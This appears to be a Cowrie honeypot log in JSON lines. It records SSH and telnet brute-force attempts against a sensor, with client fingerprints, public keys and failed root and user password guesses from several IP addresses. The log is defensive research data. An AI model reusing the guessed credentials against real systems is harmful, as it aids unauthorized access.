hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:52.767910Z","src_ip":"62.133.62.83","session":"62a4820a4622","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"080891","message":"login attempt [root/080891] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:53.007589Z","src_ip":"62.133.62.83","session":"62a4820a4622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:53.680579Z","src_ip":"152.53.185.81","session":"412534aa5611","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:54.088324Z","src_ip":"62.133.62.83","session":"62a4820a4622","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samarin","password":"123456","message":"login attempt [samarin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:54.202448Z","src_ip":"159.65.58.200","session":"205c34022165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:55.431535Z","src_ip":"159.65.58.200","session":"205c34022165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"50.3","message":"Connection lost after 50.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:55.524956Z","src_ip":"8.210.75.243","session":"043d4f94b277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:00.354360Z","src_ip":"8.210.75.243","session":"9a79f4e23932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.6.204","src_port":45658,"dst_ip":"10.17.0.5","dst_port":22,"session":"83e0f776253e","protocol":"ssh","message":"New connection: 97.74.6.204:45658 (10.17.0.5:22) [session: 83e0f776253e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:01.276529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:01.281968Z","src_ip":"97.74.6.204","session":"83e0f776253e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:01.349602Z","src_ip":"97.74.6.204","session":"83e0f776253e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@#$%^&*()!@","message":"login attempt [root/qwe@#$%^&*()!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:01.556678Z","src_ip":"97.74.6.204","session":"83e0f776253e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:02.625613Z","src_ip":"97.74.6.204","session":"83e0f776253e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.06559896469116,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:04.777543Z","src_ip":"170.64.224.25","session":"8dec6c8a1cc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.241.206","src_port":50608,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a7018467cd2","protocol":"ssh","message":"New connection: 149.56.241.206:50608 (10.17.0.5:22) [session: 9a7018467cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:06.746309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:06.751827Z","src_ip":"149.56.241.206","session":"9a7018467cd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:06.775071Z","src_ip":"149.56.241.206","session":"9a7018467cd2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:08:2a:8d:14:6a:22:15:c3:7d:03:de:3b:c2:e9:85","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG7oVuN4do65wc3FOXAg1hrwyY/NKd5C207tBkCTTbvd","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 76:08:2a:8d:14:6a:22:15:c3:7d:03:de:3b:c2:e9:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:06.865185Z","src_ip":"149.56.241.206","session":"9a7018467cd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:08:2a:8d:14:6a:22:15:c3:7d:03:de:3b:c2:e9:85","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG7oVuN4do65wc3FOXAg1hrwyY/NKd5C207tBkCTTbvd","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:06.867448Z","src_ip":"149.56.241.206","session":"9a7018467cd2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:12:48:3e:25:b9:13:3d:a3:fa:e1:8b:fd:92:69:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9mDy9nTG9VQvMqjIp/v8YYrG4b+z8OdJ4jGG0oF8GJ63Mktt4RyenJ1XYAWsVQ9ZN+WaWtpy18Dfzz6YRg0Etr3waQT3y0taqonRsULsDPKOUlR+URv9K8MLk62MlR7v10ZYh6osMpDxS2IuZWyVGcd+Qhi3i4AR5hUiMh2ic0ZeMUXzfrEF2tLHERiWclHS9Pz626oI2CCp9xbYkCLtvKlnOfLId9kaTGiWewutqVH8SnKBxDH8tYg3TQOQ+a0r2xRPVd69+f5j648dQAkQf7a1IQApyjDw3k9G/BdZEz4OQ+lO95eMjMb2NetH3R7QzHpwK1vAXCtRVpD0ZWBWHMsxg8D9fSBaVFl7u3jnuw9gOL14gZ7FtEqk591AkB4flZZTbuL2SWUPyePoCg9k7l/pX9DgH9rfAgtb2WT03xJyfTADuzIX30A02F+/DROoPK3FGS8P5SvHLNraIgPTS6Vg07TZZSgln8EPT8ZkHxdA1nvsJY1ijodVm1+PzD70=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:12:48:3e:25:b9:13:3d:a3:fa:e1:8b:fd:92:69:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:06.887527Z","src_ip":"149.56.241.206","session":"9a7018467cd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:12:48:3e:25:b9:13:3d:a3:fa:e1:8b:fd:92:69:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9mDy9nTG9VQvMqjIp/v8YYrG4b+z8OdJ4jGG0oF8GJ63Mktt4RyenJ1XYAWsVQ9ZN+WaWtpy18Dfzz6YRg0Etr3waQT3y0taqonRsULsDPKOUlR+URv9K8MLk62MlR7v10ZYh6osMpDxS2IuZWyVGcd+Qhi3i4AR5hUiMh2ic0ZeMUXzfrEF2tLHERiWclHS9Pz626oI2CCp9xbYkCLtvKlnOfLId9kaTGiWewutqVH8SnKBxDH8tYg3TQOQ+a0r2xRPVd69+f5j648dQAkQf7a1IQApyjDw3k9G/BdZEz4OQ+lO95eMjMb2NetH3R7QzHpwK1vAXCtRVpD0ZWBWHMsxg8D9fSBaVFl7u3jnuw9gOL14gZ7FtEqk591AkB4flZZTbuL2SWUPyePoCg9k7l/pX9DgH9rfAgtb2WT03xJyfTADuzIX30A02F+/DROoPK3FGS8P5SvHLNraIgPTS6Vg07TZZSgln8EPT8ZkHxdA1nvsJY1ijodVm1+PzD70=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:06.889930Z","src_ip":"149.56.241.206","session":"9a7018467cd2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:bb:83:4c:01:e7:4e:8a:39:79:23:c2:10:e3:38:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDidE5GTkLtB4DxXq5GZ/KbaGE9QdPbdY2BVRtKXtF2J+TRK+e3LYLGVaaXZ+uiGBNJNEpP3GYvHnWmi86YlPAWnXX3WiXZ22B8tDatBMx5OgT2X0c9/aZ25dHrX8/HBri+U7rdofyVDnkioZITyW2jwaJ+b+VRZPm6A4Gp1h0bQdMh5Kjl6w1yUTvMfJoLcGqeLfmPTM9cWtXlfiQ8st71poXTW6IHgQvEHBvkbLBIBQ7KfZawes6EGCV3K5Bj2tXE2PzjV7MSBE2OYFX1ki8TdRb3YciJQ6d8DXGIhiyt7F9S7Oiioo3N2ibCT5g6HY9NCbzEsYJf8OYaKcvfFwz+iaYsjLdAqNVKQmA5bvZS8RFFmSFkLZmexFyqBdn1vPBXtSddGz0ydnLDtLa7nT0mjy5KtAyRde4QjzV0MCPDFX4GbNUgtYbudD4ZvvggJ/3x/w/pIwaEXCFnvQIDXXq9OcEcOZ2FIxxG/iJQQOmcRE6Qc5B2coiUNhq76FMLtv0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:bb:83:4c:01:e7:4e:8a:39:79:23:c2:10:e3:38:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:06.908871Z","src_ip":"149.56.241.206","session":"9a7018467cd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:bb:83:4c:01:e7:4e:8a:39:79:23:c2:10:e3:38:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDidE5GTkLtB4DxXq5GZ/KbaGE9QdPbdY2BVRtKXtF2J+TRK+e3LYLGVaaXZ+uiGBNJNEpP3GYvHnWmi86YlPAWnXX3WiXZ22B8tDatBMx5OgT2X0c9/aZ25dHrX8/HBri+U7rdofyVDnkioZITyW2jwaJ+b+VRZPm6A4Gp1h0bQdMh5Kjl6w1yUTvMfJoLcGqeLfmPTM9cWtXlfiQ8st71poXTW6IHgQvEHBvkbLBIBQ7KfZawes6EGCV3K5Bj2tXE2PzjV7MSBE2OYFX1ki8TdRb3YciJQ6d8DXGIhiyt7F9S7Oiioo3N2ibCT5g6HY9NCbzEsYJf8OYaKcvfFwz+iaYsjLdAqNVKQmA5bvZS8RFFmSFkLZmexFyqBdn1vPBXtSddGz0ydnLDtLa7nT0mjy5KtAyRde4QjzV0MCPDFX4GbNUgtYbudD4ZvvggJ/3x/w/pIwaEXCFnvQIDXXq9OcEcOZ2FIxxG/iJQQOmcRE6Qc5B2coiUNhq76FMLtv0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:06.912282Z","src_ip":"149.56.241.206","session":"9a7018467cd2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:d0:ff:85:1f:1a:12:15:4b:94:54:d6:c2:84:47:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+ryeLiavc61kCLlFTfVdXI/+PnSMgcreCzsimcyqkzaYOrDjTayAzs+gZGZHo6XtQQreGBDsuQ+UQ2m3RYG2oCsv+fQYYCHWpgV3HIsHH2x2j51Cldqv4CpHsHadqmolcuxFI97oxsXd9WOpH/cycsxbD0HhXQnEhCM0kFgTRzy0K/8oxx31T38crFQ4/3OC9Wk1d49zMpmAszhSocwv0Y/nSYVl+uOvCpfPGvmShe+OqznZPe9HvpwmAfR8E0QGT87lc6w71o4l+zQwzUb8y5UXdWBGLtO38PuzGyQaBqim7qfXDto4ck6wNAEPrLlePwPoOM/A7OylpGCyHXQeN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:d0:ff:85:1f:1a:12:15:4b:94:54:d6:c2:84:47:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:06.931797Z","src_ip":"149.56.241.206","session":"9a7018467cd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:d0:ff:85:1f:1a:12:15:4b:94:54:d6:c2:84:47:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+ryeLiavc61kCLlFTfVdXI/+PnSMgcreCzsimcyqkzaYOrDjTayAzs+gZGZHo6XtQQreGBDsuQ+UQ2m3RYG2oCsv+fQYYCHWpgV3HIsHH2x2j51Cldqv4CpHsHadqmolcuxFI97oxsXd9WOpH/cycsxbD0HhXQnEhCM0kFgTRzy0K/8oxx31T38crFQ4/3OC9Wk1d49zMpmAszhSocwv0Y/nSYVl+uOvCpfPGvmShe+OqznZPe9HvpwmAfR8E0QGT87lc6w71o4l+zQwzUb8y5UXdWBGLtO38PuzGyQaBqim7qfXDto4ck6wNAEPrLlePwPoOM/A7OylpGCyHXQeN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:06.933968Z","src_ip":"149.56.241.206","session":"9a7018467cd2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:fc:80:77:70:2b:94:4c:81:ea:2a:73:44:33:9a:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCmMJNzz3qYjJarfCFJpNKKZx5r/1AbuL/aN0VgL09nIHm99yad05blGn0Q02RLj8ZeEkZlTXR4Rpfxx4xjf2KmTLbdi1xyiO9DLg3NaOWA/ezflglR6O7m+V3fVywM9F1Fu2qHBqKSw12D2Nnl8fRl2XxWMUvUBh9KVbm387lg1J3BcYJxnc2hqhv8CdmUUEVCEkmr9v1F2daXgGBGqvNuLQTPQBrHtWR+x+THm3muz4KlhprZagTSpwejhK3vW9Wwk+k0Ijy1qO/xD5ynWcLa+UB4cH60wBtue6Ao6a7eZSkA5LGeUxZhY6njxT+Hz/e4/ZOsRdviq2Ywe3LJPK3OiFDYcVHWGceTfRT3QyOXVZz+H7/Qvs0OnTVG+uw9JzR4Pcn/RNMowwnI6FJwvPyRnt2n0go89NsVkgD8LO93Yj2ejOBG82sShSRb4XngBLtUqrFng53GuQeA5OjGX0iQFxyCh3Y+DGkz2utgYaqiO4jSwy6BbnoGWHOWCRHlyvQH/7Ij13hxRIedDXFR3vIdCLyYniichV7NbdgXAxd9Vk93nPzfPbd3gK4QrFdAS8bSNh1XPtpLUpLy3jET0NIDnTWZLLBAqjyf1LNa6OUXr/pAlBsc5wKDid1A2hes/LY4BYeRVk9DclKzd5i2C9BYViHcFTVgoRdpcPTwyaLLKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:fc:80:77:70:2b:94:4c:81:ea:2a:73:44:33:9a:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:06.953829Z","src_ip":"149.56.241.206","session":"9a7018467cd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:fc:80:77:70:2b:94:4c:81:ea:2a:73:44:33:9a:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCmMJNzz3qYjJarfCFJpNKKZx5r/1AbuL/aN0VgL09nIHm99yad05blGn0Q02RLj8ZeEkZlTXR4Rpfxx4xjf2KmTLbdi1xyiO9DLg3NaOWA/ezflglR6O7m+V3fVywM9F1Fu2qHBqKSw12D2Nnl8fRl2XxWMUvUBh9KVbm387lg1J3BcYJxnc2hqhv8CdmUUEVCEkmr9v1F2daXgGBGqvNuLQTPQBrHtWR+x+THm3muz4KlhprZagTSpwejhK3vW9Wwk+k0Ijy1qO/xD5ynWcLa+UB4cH60wBtue6Ao6a7eZSkA5LGeUxZhY6njxT+Hz/e4/ZOsRdviq2Ywe3LJPK3OiFDYcVHWGceTfRT3QyOXVZz+H7/Qvs0OnTVG+uw9JzR4Pcn/RNMowwnI6FJwvPyRnt2n0go89NsVkgD8LO93Yj2ejOBG82sShSRb4XngBLtUqrFng53GuQeA5OjGX0iQFxyCh3Y+DGkz2utgYaqiO4jSwy6BbnoGWHOWCRHlyvQH/7Ij13hxRIedDXFR3vIdCLyYniichV7NbdgXAxd9Vk93nPzfPbd3gK4QrFdAS8bSNh1XPtpLUpLy3jET0NIDnTWZLLBAqjyf1LNa6OUXr/pAlBsc5wKDid1A2hes/LY4BYeRVk9DclKzd5i2C9BYViHcFTVgoRdpcPTwyaLLKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:06.957245Z","src_ip":"149.56.241.206","session":"9a7018467cd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:06.979637Z","src_ip":"149.56.241.206","session":"9a7018467cd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.137.135","src_port":59316,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1c3c640ffe7","protocol":"ssh","message":"New connection: 211.106.137.135:59316 (10.17.0.5:22) [session: b1c3c640ffe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:21.956935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:21.963173Z","src_ip":"211.106.137.135","session":"b1c3c640ffe7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:22.179446Z","src_ip":"211.106.137.135","session":"b1c3c640ffe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"CDtianrun888","message":"login attempt [root/CDtianrun888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:23.006884Z","src_ip":"211.106.137.135","session":"b1c3c640ffe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:24.218601Z","src_ip":"211.106.137.135","session":"b1c3c640ffe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:26.331057Z","src_ip":"8.210.75.243","session":"e8f1adf75264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60788,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b911191b5e5","protocol":"ssh","message":"New connection: 8.210.75.243:60788 (10.17.0.5:22) [session: 8b911191b5e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:27.058152Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58902,"dst_ip":"159.203.135.109","dst_port":23,"session":"c50ad4a10f62","protocol":"telnet","message":"New connection: 170.64.224.25:58902 (159.203.135.109:23) [session: c50ad4a10f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:32.285453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:33.777006Z","src_ip":"8.210.75.243","session":"8b911191b5e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:34.965649Z","src_ip":"8.210.75.243","session":"715bd2cfc2ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.152.168.184","src_port":38880,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0f2a4f1683c","protocol":"ssh","message":"New connection: 59.152.168.184:38880 (159.203.135.109:22) [session: e0f2a4f1683c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:44.386582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:44.390488Z","src_ip":"59.152.168.184","session":"e0f2a4f1683c","protocol":"ssh"}
